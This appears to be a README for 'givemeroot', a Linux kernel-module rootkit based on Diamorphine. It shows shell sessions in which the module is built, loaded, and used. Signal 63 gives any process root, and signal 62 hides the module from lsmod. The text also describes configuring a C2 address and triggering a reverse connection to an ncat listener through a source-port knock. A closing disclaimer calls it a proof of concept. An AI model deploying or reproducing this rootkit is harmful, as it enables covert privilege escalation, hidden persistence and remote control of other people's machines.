Simple LKM rootkit based on Diamorphine.

• Debian 9
• Kernel 4.9.0-8-amd64

Basically the rootkit hooks the syscall kill, and whenever it receives a signal 63, the process is changed to run with root permissions.

root@lkm:~/# git clone https://github.com/mthbernardes/givemeroot.git
root@lkm:~/# cd givemeroot
root@lkm:~/givemeroot# make
make -C /lib/modules/4.9.0-8-amd64/build M=/root/givemeroot modules
make[1]: Entering directory '/usr/src/linux-headers-4.9.0-8-amd64'
  Building modules, stage 2.
  MODPOST 1 modules
make[1]: Leaving directory '/usr/src/linux-headers-4.9.0-8-amd64'
root@lkm:~/givemeroot# insmod givemeroot.ko 

nuvm@lkm:~$ id
uid=1001(nuvm) gid=1001(nuvm) groups=1001(nuvm),100(users)
nuvm@lkm:~$ kill -63 0
nuvm@lkm:~$ id
uid=0(root) gid=0(root) groups=0(root),100(users),1001(nuvm)

nuvm@lkm:~$ lsmod | grep givemeroot
nuvm@lkm:~$ kill -62 0
nuvm@lkm:~$ lsmod | grep givemeroot
givemeroot             16384  0
nuvm@lkm:~$ kill -62 0
nuvm@lkm:~$ lsmod | grep givemeroot

Just edit the global variables

#define C2IP    "192.168.0.60"
#define C2PORT  "9090"

and set your c2 hostname/ipaddr and port.

Start a listener on your c2

ncat -lvp 9090

and start a tcp connection from your c2 with the host running the rookit on port 1339 with port 1337 as source port ( the server does not need to be listening on this port)

ncat -p 1337 192.168.0.101 1339

then the host will connect to your c2 using ncat

Using this module might cause severe damage to your system, it was created as a proof of concept and should never be used on a production system!

By using this software the person in question agrees that they will use any of software in question in an ethical (non-malicious) way and agrees that the developer(s) are NOT held responsible for any damage caused by the use and or abuse of this software.

Misuse of any software from this website may result in criminal charges brought against the person in question depending on the country or state of residence which can result in probation, fines up or prison sentences up to 20 years in federal prison.